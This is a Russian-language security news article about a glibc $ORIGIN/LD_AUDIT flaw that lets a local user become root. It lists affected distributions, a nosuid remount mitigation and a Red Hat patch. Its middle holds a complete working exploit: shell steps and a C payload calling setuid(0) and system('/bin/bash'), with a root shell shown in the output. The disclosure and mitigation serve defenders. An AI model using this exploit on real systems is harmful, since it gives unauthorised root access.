В Glibc обнаружена серьезная уязвимостьВ системной библиотеке GNU C Library (glibc), являющейся основой большинства Linux-дистрибутивов, обнаружена критическая уязвимость, позволяющая любому локальному пользователю получить привилегии суперпользователя. Проблема вызвана игнорированием в Glibc требования спецификации ELF по запрещению использования текущего пути к исполняемому файлу ($ORIGIN) в процессе динамического связывания программ с идентификатором смены владельца или группы (suid/sgid). Проблема проявляется в конфигурациях, в которых пользователь имеет возможность создавать жесткие ссылки в файловой системе, допускающей наличие suid-файлов. Уязвимость протестирована в Fedora 13 и RHEL 5 / CentOS 5, другие дистрибутивы судя по всему также подвержены проблеме. Исправления пока недоступны, статус выхода обновлений в различных Linux-дистрибутивах можно наблюдать на следующих страницах: Slackware, Gentoo, Mandriva, openSUSE, CentOS, Fedora, RHEL, Debian, Ubuntu. Проблема была известна и ранее, но разработчики Glibc считали, что эксплуатировать ее невозможно. Используя режим аудита связывания программ (LD_AUDIT) в ld.so, вкупе с подменой $ORIGIN через создание жесткой ссылки и запуском suid-программы через файловый дескриптор, удалось разработать практический метод атаки. Проверить свою систему на наличие уязвимости можно следующим способом: Создаем произвольную директорию: $ mkdir /tmp/exploit Привязываем suid-программу жесткой ссылкой в созданную директорию (при выполнении будет изменен $ORIGIN): $ ln /bin/ping /tmp/exploit/target Открываем для исполняемого файла файловый дескриптор: $ exec 3< /tmp/exploit/target Данный файловый дескриптор должен быть виден в пространстве /proc $ ls -l /proc/$$/fd/3 lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target* Удаляем ранее созданную директорию $ rm -rf /tmp/exploit/ В /proc дескриптор остался, но теперь помечен как удаленный: $ ls -l /proc/$$/fd/3 lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted) Заменяем директорию на специально созданный эксплоит (имя директории будет открыто через dlopen): $ cat > payload.c void __attribute__((constructor)) init() { setuid(0); system("/bin/bash"); } ^D $ gcc -w -fPIC -shared -o /tmp/exploit payload.c $ ls -l /tmp/exploit -rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit* Инициируем динамическое связывание и загрузку $ORIGIN через LD_AUDIT и запуск программы по файловому дескриптору в /proc $ LD_AUDIT="$ORIGIN" exec /proc/self/fd/3 sh-4.1# whoami root sh-4.1# id uid=0(root) gid=500(taviso) В качестве временной меры защиты рекомендуются перемонтировать все доступные сторонним пользователям на запись директории в режиме nosuid (актуально только если suid-файл и доступная на запись директория присутствуют в одном дисковом разделе, например, /tmp или /home являются частью корневого раздела, так как жесткая ссылка не может быть установлена из одного дискового раздела в другой) : # mount -o bind /tmp /tmp # mount -o remount,bind,nosuid /tmp /tmp Дополнение: Разработчики из компании Red Hat выпустили патч, устраняющий проблему в Glibc.
Распечатано с HostDB.ru.
|